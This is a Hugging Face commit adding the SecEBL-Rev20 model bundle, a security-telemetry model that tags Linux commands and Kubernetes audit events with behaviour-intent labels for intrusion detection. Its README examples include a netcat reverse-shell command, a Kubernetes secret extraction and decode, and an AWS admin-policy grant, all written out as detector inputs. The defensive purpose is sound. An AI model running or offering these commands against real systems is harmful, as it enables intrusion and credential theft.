GA-177
/

GA-177 willchen0011 commited on
Commit
b5528bb
·
0 Parent(s):

Duplicate from willchen0011/SecEBL

Browse files

Co-authored-by: YUE CHEN <willchen0011@users.noreply.huggingface.co>

.gitattributes ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ *.safetensors filter=lfs diff=lfs merge=lfs -text
2
+ *.bin filter=lfs diff=lfs merge=lfs -text
3
+ *.onnx filter=lfs diff=lfs merge=lfs -text
4
+ *.joblib filter=lfs diff=lfs merge=lfs -text
5
+ *.jsonl filter=lfs diff=lfs merge=lfs -text
1_Pooling/config.json ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "word_embedding_dimension": 768,
3
+ "pooling_mode_cls_token": true,
4
+ "pooling_mode_mean_tokens": false,
5
+ "pooling_mode_max_tokens": false,
6
+ "pooling_mode_mean_sqrt_len_tokens": false,
7
+ "pooling_mode_weightedmean_tokens": false,
8
+ "pooling_mode_lasttoken": false,
9
+ "include_prompt": true
10
+ }
LICENSE ADDED
@@ -0,0 +1,201 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or Derivative
95
+ Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
175
+
176
+ END OF TERMS AND CONDITIONS
177
+
178
+ APPENDIX: How to apply the Apache License to your work.
179
+
180
+ To apply the Apache License to your work, attach the following
181
+ boilerplate notice, with the fields enclosed by brackets "[]"
182
+ replaced with your own identifying information. (Do not include
183
+ the brackets!) The text should be enclosed in the appropriate
184
+ comment syntax for the file format. We also recommend that a
185
+ file or class name and description of purpose be included on the
186
+ same "printed page" as the copyright notice for easier
187
+ identification within third-party archives.
188
+
189
+ Copyright [yyyy] [name of copyright owner]
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
NOTICE ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ SecEBL-Rev20
2
+ Copyright 2026 SecEBL contributors.
3
+
4
+ This Hugging Face repository contains SecEBL-Rev20 model artifacts, schema
5
+ metadata, public benchmark-subset examples, public documentation, and an
6
+ experimental L2 artifact. These files are licensed under Apache License,
7
+ Version 2.0. See LICENSE.
8
+
9
+ SecEBL-Rev20 is based on Alibaba-NLP/gte-modernbert-base, which is licensed
10
+ under Apache License, Version 2.0:
11
+ https://huggingface.co/Alibaba-NLP/gte-modernbert-base
12
+
13
+ Source code, schemas, public examples, documentation, and helper scripts in the
14
+ companion GitHub repository are also licensed under Apache-2.0 unless a file
15
+ explicitly states otherwise.
16
+
17
+ The names SecEBL and SecEBL-Rev20 are not licensed as trademarks except for
18
+ reasonable and customary attribution.
README.md ADDED
@@ -0,0 +1,447 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: apache-2.0
3
+ base_model: Alibaba-NLP/gte-modernbert-base
4
+ library_name: sentence-transformers
5
+ pipeline_tag: sentence-similarity
6
+ tags:
7
+ - security
8
+ - intrusion-detection
9
+ - behavior-analytics
10
+ - intent-recognition
11
+ - linux
12
+ - kubernetes
13
+ - audit-log
14
+ - sentence-transformers
15
+ ---
16
+
17
+ # SecEBL-Rev20
18
+
19
+ **SecEBL** stands for **Security Event Behavior Labeler**.
20
+
21
+ SecEBL-Rev20 is an intent-recognition model for security telemetry. It maps a
22
+ Linux command line or normalized Kubernetes AuditLog event into ranked
23
+ behavior-intent labels, so downstream detection can reason about what an actor
24
+ is trying to do instead of only matching fixed strings, allowlists, blacklists,
25
+ or opaque risk scores.
26
+
27
+ Project repository: [github.com/EBWi11/SecEBL](https://github.com/EBWi11/SecEBL)
28
+
29
+ ## At A Glance
30
+
31
+ | Area | Current release summary |
32
+ | --- | --- |
33
+ | Stable public API | L1 behavior-intent labeling with ranked `top_labels`. |
34
+ | Behavior vocabulary | 361 Rev20 behavior-intent tags across 12 security behavior groups. |
35
+ | Training scale | 86,285 internal corpus rows, 82,895 usable training observations, and 118,858 effective command/tag training pairs. |
36
+ | Corpus breadth | Linux commands plus normalized Kubernetes AuditLog events, covering roughly 2,700 distinct Linux first-token/tool forms and common security/operations tooling. |
37
+ | Benchmark scale | 12,594-row internal Linux command benchmark covering all 361 behavior tags, 663 internal Linux sessions, and a 6,286,568-row / 102,117-session pressure stream. |
38
+ | L1 accuracy | 98.49% top5 any-hit and 96.44% micro recall@5 on the internal Linux command benchmark; 100.00% top5 coverage on the K8s evaluation set. |
39
+ | Inference performance | RTX 5090 spot-check: mean 5,308.72 unique cmdlines/s with FP16 + SDPA; exact raw-event cache lookup measured separately at about 1.8M rows/s. |
40
+ | Training setup | `Alibaba-NLP/gte-modernbert-base`, MNRL with hard-negative-aware batches, RTX 5090 32GB, 128 full-pass epochs, batch size 112, about 16.2 hours. |
41
+
42
+ The public examples include a reviewed, publicly releasable subset of the
43
+ internal Linux final benchmark plus normalized Kubernetes AuditLog examples:
44
+ 10,520 Linux rows across 531 sessions and 144 K8s rows across 46 sessions. They
45
+ exist so users can run the model locally and inspect outputs without access to
46
+ private telemetry.
47
+ The full training corpora, full internal benchmarks, private pressure-stream
48
+ rows, and private run logs are not redistributed because parts of them contain
49
+ real telemetry or real operational context.
50
+
51
+ ## First-Time User Path
52
+
53
+ Use the companion GitHub repository for the runnable code and this Hugging Face
54
+ repository for model artifacts:
55
+
56
+ ```bash
57
+ git clone https://github.com/EBWi11/SecEBL.git
58
+ cd SecEBL
59
+
60
+ git lfs install
61
+ git clone https://huggingface.co/willchen0011/SecEBL model_artifacts
62
+
63
+ pip install -e .
64
+ scripts/run_examples.sh
65
+ ```
66
+
67
+ After the script finishes, inspect:
68
+
69
+ ```text
70
+ runs/examples/linux_l1/predictions.jsonl
71
+ runs/examples/l2/example_linux_session_results.json
72
+ ```
73
+
74
+ L1 is the stable behavior-labeling API. It outputs ranked behavior evidence,
75
+ not an intrusion verdict. L2 is optional and experimental; it runs only when an
76
+ L2 artifact such as `model_artifacts/l2_artifacts/logreg.joblib` is available.
77
+
78
+ ## What This Repository Contains
79
+
80
+ This Hugging Face repository is the model artifact bundle.
81
+
82
+ | Path | Purpose |
83
+ | --- | --- |
84
+ | `model.safetensors`, tokenizer/config files | SentenceTransformers-compatible SecEBL-Rev20 embedding model. |
85
+ | `semantic_texts.jsonl` | Rev20 semantic label texts used by the L1 retrieval path. |
86
+ | `schema/tags_schema_rev20.json` | Canonical Rev20 behavior vocabulary, 361 tags across 12 groups. |
87
+ | `examples/linux/` | Public subset of the internal Linux final benchmark and matching Rev20 labels. |
88
+ | `examples/k8s/` | Public normalized Kubernetes AuditLog examples and matching Rev20 labels. |
89
+ | `examples/manifest.json` | Public example subset counts and distribution. |
90
+ | `rev20_tag_rfc.md` | Rev20 behavior-tag labeling RFC and boundary examples. |
91
+ | `l2_artifacts/logreg.joblib` | Experimental L2 logistic-regression session scorer. |
92
+ | `l2_artifacts/tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
93
+ | `l2_artifacts/train_summary.json` | Public aggregate L2 training/evaluation summary with no raw rows or real session identifiers. |
94
+ | `LICENSE`, `NOTICE` | Model license and attribution notices. |
95
+
96
+ This repository does not include the runnable helper scripts. Use
97
+ [EBWi11/SecEBL](https://github.com/EBWi11/SecEBL) for the Python package and
98
+ one-command test script. The same public benchmark-subset examples are included
99
+ here for convenience.
100
+
101
+ ## Output Shape
102
+
103
+ L1 predictions expose ranked `top_labels`:
104
+
105
+ ```json
106
+ {
107
+ "observation_id": "event:0",
108
+ "command": "nc -e /bin/sh 203.0.113.10 4444",
109
+ "top_labels": [
110
+ {
111
+ "label_id": "spawn_reverse_shell",
112
+ "score": 0.811,
113
+ "axis": "execution_and_process"
114
+ },
115
+ {
116
+ "label_id": "connect_external_service",
117
+ "score": 0.488,
118
+ "axis": "network"
119
+ }
120
+ ]
121
+ }
122
+ ```
123
+
124
+ L1 does not emit `behavior_tags` and does not apply a user-facing tag-selection
125
+ threshold. `behavior_tags[]` is the field used by training and evaluation label
126
+ files. Runtime prediction output is ranked `top_labels`.
127
+
128
+ ## Why Intent Labels Matter
129
+
130
+ Traditional IDS pipelines often depend on signatures, rules, allowlists,
131
+ blacklists, and low-explainability tabular ML. Those tools still matter, but
132
+ they can struggle when legitimate tools are used in suspicious ways, when tool
133
+ syntax drifts quickly, or when the same behavior appears in different telemetry
134
+ formats.
135
+
136
+ SecEBL adds an intermediate representation:
137
+
138
+ ```text
139
+ raw security event
140
+ -> L1 behavior-intent recognition
141
+ -> L2 session reasoning or another downstream detector
142
+ -> alert / review / policy
143
+ ```
144
+
145
+ L1 intentionally does not decide that a single event is an intrusion. It
146
+ produces explainable behavior evidence such as `read_credential_material`,
147
+ `execute_remote_command`, `create_scheduled_task`, `grant_cluster_privilege`,
148
+ or `query_service_health`.
149
+
150
+ This is useful for:
151
+
152
+ - LOLT / living-off-the-land behavior where the tool is legitimate but the
153
+ behavior may be suspicious in context.
154
+ - Rule-writing lag, where new tool syntax appears faster than signatures can be
155
+ maintained.
156
+ - Multi-platform telemetry, where Linux commands, Kubernetes audit events, and
157
+ future telemetry can share a behavior vocabulary.
158
+ - Explainable detection, where an alert should be tied to explicit behavior
159
+ labels rather than only an opaque score.
160
+
161
+ ## Data And Vocabulary
162
+
163
+ Rev20 is a flat behavior-tag schema.
164
+
165
+ | Item | Count |
166
+ | --- | ---: |
167
+ | Top-level behavior groups | 12 |
168
+ | Behavior tags | 361 |
169
+
170
+ Schema groups:
171
+
172
+ | Group | Tags |
173
+ | --- | ---: |
174
+ | `observation_and_discovery` | 51 |
175
+ | `configuration_and_log_modification` | 12 |
176
+ | `filesystem_and_data` | 33 |
177
+ | `execution_and_process` | 28 |
178
+ | `network` | 51 |
179
+ | `identity_auth_and_secrets` | 31 |
180
+ | `persistence_services_and_storage` | 27 |
181
+ | `kernel_memory_and_tracing` | 14 |
182
+ | `package_build_and_source` | 19 |
183
+ | `database_and_infrastructure_services` | 33 |
184
+ | `containers_and_cloud_native` | 34 |
185
+ | `cloud_control_plane` | 28 |
186
+
187
+ The release baseline was trained from internal Rev20 corpora:
188
+
189
+ | Corpus | Rows | Unique behavior tags | Notes |
190
+ | --- | ---: | ---: | --- |
191
+ | Linux command corpus | 85,277 | 361 | Mixed generated, reviewed, and manually expanded command examples. |
192
+ | Kubernetes AuditLog corpus | 1,008 | 40 | Manually authored normalized K8s audit events. |
193
+
194
+ The Linux corpus covers roughly 2,700 distinct first-token/tool forms by a
195
+ conservative executable-name estimate. Common families include shell utilities,
196
+ network tools, package/build tools, cloud CLIs, IaC tools, container tooling,
197
+ databases, secret stores, and Kubernetes tooling.
198
+
199
+ ## Training Details
200
+
201
+ The raw training corpora are not redistributed, but the following details are
202
+ documented so readers can understand the model scale and method.
203
+
204
+ | Item | Value |
205
+ | --- | --- |
206
+ | Base model | `Alibaba-NLP/gte-modernbert-base` |
207
+ | Training objective | `MultipleNegativesRankingLoss` with hard-negative-aware batches |
208
+ | Training hardware | NVIDIA GeForce RTX 5090, 32GB VRAM, `cuda:0` |
209
+ | Epochs | 128 full-pass epochs |
210
+ | Batch size | 112 |
211
+ | Precision | `fp32` |
212
+ | Steps | 1,062 steps per epoch; 135,936 total optimizer steps |
213
+ | Runtime | 58,291 seconds, about 16.2 hours |
214
+ | Sequence length | 160 tokens |
215
+ | Optimizer schedule | learning rate `2e-5`, warmup ratio `0.06`, 8,156 warmup steps, weight decay `0.01` |
216
+
217
+ Training data scale:
218
+
219
+ | Training artifact | Count | Notes |
220
+ | --- | ---: | --- |
221
+ | Combined corpus rows | 86,285 | 85,277 Linux command rows plus 1,008 K8s AuditLog rows. |
222
+ | Non-empty training observations | 82,895 | Rows with usable behavior labels after skipping 3,390 abstain rows. |
223
+ | Base command-tag pairs | 117,092 | Positive command/tag pairs before boundary upsampling. |
224
+ | Effective positive pairs | 118,858 | Final pair count after targeted boundary upsampling. |
225
+ | Behavior labels | 361 | Full Rev20 behavior vocabulary used on the label side. |
226
+
227
+ The Linux corpus is intentionally mixed rather than a single synthetic source.
228
+ The largest source slices are roughly 36.9k generated rows, 28.5k manually
229
+ reviewed rows, 4.0k benchmark-prune/migration rows, 3.6k common-difference gap
230
+ rows, 2.7k reviewed generated rows, 2.6k baseline manual rows, and 2.3k attack
231
+ batch rows, plus smaller targeted boundary, miss-review, public-attack, and
232
+ high-miss batches.
233
+
234
+ Token lengths are short enough for a compact encoder. Across the final pair set,
235
+ command-side text is p50 32 tokens, p90 55, p95 68, and p99 113; fewer than
236
+ 0.3% of examples exceed the 160-token training limit. Label-side semantic texts
237
+ are p50 40 tokens and p95 62.
238
+
239
+ Hard negatives were designed in two layers:
240
+
241
+ - Schema-level negatives: the dataset builder used `schema_hard`, with a
242
+ 16-item hard-negative pool and up to 8 negatives per positive before MNRL
243
+ batching. These negatives come from semantically nearby Rev20 tags, so the
244
+ model is forced to separate labels such as read-vs-search, inspect-vs-modify,
245
+ local-vs-remote execution, and similar tool-boundary cases.
246
+ - Batch-level negatives: the training loader used hard-negative-aware MNRL
247
+ batches. The final run used config
248
+ `rev20_conservative_20260620_ep96_miss_v11`, covering 74 difficult labels and
249
+ placing 2 hard-negative labels near each anchor where possible.
250
+ - Boundary upsampling: 1,766 boundary-sensitive pairs were duplicated once,
251
+ producing 1,766 extra training exposures. These rows target recurring failure
252
+ modes such as grep/read ambiguity, wrapper commands, tool-specific boundaries,
253
+ no-hit review cases, and post-evaluation miss-review batches.
254
+
255
+ ## Public Benchmark Subset
256
+
257
+ This Hugging Face repository includes the same public benchmark examples as the
258
+ companion GitHub repository: the Linux benchmark subset under `examples/linux/`
259
+ and normalized Kubernetes AuditLog examples under `examples/k8s/`.
260
+
261
+ | Public artifact | Rows | Sessions | Notes |
262
+ | --- | ---: | ---: | --- |
263
+ | `examples/linux/example_sessions.jsonl` | 10,520 | 531 | Publicly releasable subset of the internal Linux final benchmark; 2,934 normal-operation rows and 7,586 intrusion rows. |
264
+ | `examples/linux/example_gold.rev20.jsonl` | 10,520 | 531 | Matching Rev20 behavior labels; 10,019 labeled rows, 14,807 behavior-label instances, and 349 unique behavior tags. |
265
+ | `examples/k8s/example_sessions.jsonl` | 144 | 46 | Public normalized Kubernetes AuditLog examples; 72 normal-operation rows and 72 intrusion rows. |
266
+ | `examples/k8s/example_gold.rev20.jsonl` | 144 | 46 | Matching Rev20 behavior labels; 144 labeled rows, 163 behavior-label instances, and 27 unique behavior tags. |
267
+
268
+ Session-level labels use English enums: `normal_operation` and `intrusion`.
269
+ The full internal Linux benchmark remains larger: 12,594 rows, 663 sessions,
270
+ and complete 361-tag coverage.
271
+
272
+ ## Evaluation Snapshot
273
+
274
+ The full internal benchmark data is not public. The aggregate size,
275
+ distribution, and metrics are public so users can understand what the headline
276
+ numbers mean.
277
+
278
+ Evaluation scale:
279
+
280
+ | Dataset | Rows | Rows with labels | Behavior-tag instances | Unique behavior tags |
281
+ | --- | ---: | ---: | ---: | ---: |
282
+ | Linux internal benchmark | 12,594 | 11,889 | 17,287 | 361 / 361 |
283
+ | K8s evaluation set | 144 | 144 | 163 | 27 / 361 |
284
+ | Combined | 12,738 | 12,033 | 17,450 | 361 / 361 |
285
+
286
+ Retrieval quality:
287
+
288
+ | Dataset | Dynamic exact | Top5 any-hit | Top5 all-covered | Micro recall@5 |
289
+ | --- | ---: | ---: | ---: | ---: |
290
+ | Linux internal benchmark | 87.32% | 98.49% | 95.44% | 96.44% |
291
+ | K8s evaluation set | 99.31% | 100.00% | 100.00% | 100.00% |
292
+ | Combined | 87.47% | 98.50% | 95.50% | 96.47% |
293
+
294
+ The Linux benchmark covers the complete 361-tag Rev20 vocabulary and includes
295
+ complex multi-tag command rows. The K8s result should be read as a small-domain
296
+ sanity result rather than broad Kubernetes coverage because the current K8s
297
+ corpus is much smaller than the Linux corpus.
298
+
299
+ Internal Linux benchmark tag cardinality:
300
+
301
+ | Tags per row | Rows |
302
+ | --- | ---: |
303
+ | 0 | 705 |
304
+ | 1 | 8,829 |
305
+ | 2 | 1,567 |
306
+ | 3 | 901 |
307
+ | 4 | 402 |
308
+ | 5 | 139 |
309
+ | 6+ | 51 |
310
+
311
+ Top internal Linux benchmark tags:
312
+
313
+ | Tag | Count |
314
+ | --- | ---: |
315
+ | `stage_temporary_path` | 987 |
316
+ | `inspect_network_state` | 801 |
317
+ | `stage_hidden_path` | 655 |
318
+ | `inspect_current_identity` | 578 |
319
+ | `read_credential_material` | 551 |
320
+ | `inspect_system_state` | 481 |
321
+ | `inspect_infrastructure_service` | 390 |
322
+ | `query_dns_records` | 372 |
323
+ | `enumerate_filesystem` | 365 |
324
+ | `search_credentials` | 315 |
325
+
326
+ ## Example Outputs
327
+
328
+ These examples show the user-facing L1 output style. Scores are cosine/retrieval
329
+ scores after the release prompt profile. The public helper scripts save top
330
+ labels in `predictions.jsonl`.
331
+
332
+ | Event | Top 3 L1 tags | Note |
333
+ | --- | --- | --- |
334
+ | `nc -e /bin/sh 203.0.113.10 4444` | <code>spawn_reverse_shell</code> 0.811<br><code>connect_external_service</code> 0.488<br><code>spawn_bind_shell</code> 0.451 | `-e` is recognized as reverse-shell execution. |
335
+ | `nc -v 203.0.113.10 443` | <code>connect_external_service</code> 0.732<br><code>spawn_reverse_shell</code> 0.503<br><code>create_reverse_tunnel</code> 0.412 | Connection intent ranks above shell-spawn intent. |
336
+ | `cat /root/install.log` | <code>read_business_log</code> 0.641<br><code>read_system_log</code> 0.431<br><code>read_workload_logs</code> 0.385 | Log-read semantics dominate. |
337
+ | `cat /root/install.conf` | <code>read_infrastructure_config</code> 0.620<br><code>read_system_config</code> 0.612<br><code>read_kernel_parameter</code> 0.336 | Config-read semantics dominate. |
338
+ | `kubectl -n prod get secret payment-api-token -o jsonpath={.data.token} \| base64 -d` | <code>read_cluster_secret</code> 0.730<br><code>decode_data</code> 0.716<br><code>read_credential_material</code> 0.363 | K8s secret extraction and decoding. |
339
+ | `aws iam attach-user-policy --user-name temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess` | <code>grant_cloud_privilege</code> 0.838<br><code>modify_cloud_identity_policy</code> 0.535<br><code>modify_cloud_identity</code> 0.459 | Cloud privilege escalation semantics. |
340
+ | `curl -fsS http://127.0.0.1:8080/healthz` | <code>query_service_health</code> 0.840<br><code>inspect_local_kubernetes_cluster</code> 0.459<br><code>inspect_container_runtime</code> 0.383 | Local service health check. |
341
+
342
+ ## Runtime Performance
343
+
344
+ SecEBL-Rev20 is a SentenceTransformers-style embedding retriever over 361 Rev20
345
+ tag definitions. The serving path embeds the event, embeds or loads tag
346
+ definition embeddings, then ranks tags by similarity.
347
+
348
+ Current single-card CUDA recommendation:
349
+
350
+ | Setting | Value |
351
+ | --- | --- |
352
+ | Precision | FP16 |
353
+ | Attention | SDPA |
354
+ | `max_seq_length` | 160 |
355
+ | Batch size | 224 default; 384 was slightly faster in one RTX 5090 sweep but not enough to replace the stable default |
356
+ | Sorting | `sort_by=char` |
357
+ | Padding | dynamic, no forced pad alignment |
358
+ | Output path | GPU tensor output plus GPU top-k |
359
+
360
+ Measured on an NVIDIA GeForce RTX 5090 32GB spot-check:
361
+
362
+ | Mode | Throughput |
363
+ | --- | ---: |
364
+ | Recommended no-cache unique inference, `bs224` | mean 5,308.72 unique cmdlines/s |
365
+ | Recommended no-cache latency, `bs224` | about 0.1884 ms per unique cmdline |
366
+ | `bs224` repeat range | 5,025.47 - 5,433.78 unique cmdlines/s |
367
+ | Best quick-sweep point, `bs384` | 5,378.45 unique cmdlines/s |
368
+
369
+ Exact raw-event cache lookup was measured separately at mean 1,817,462.76
370
+ rows/s. Cache hits reuse saved L1 top-k results and do not run model inference.
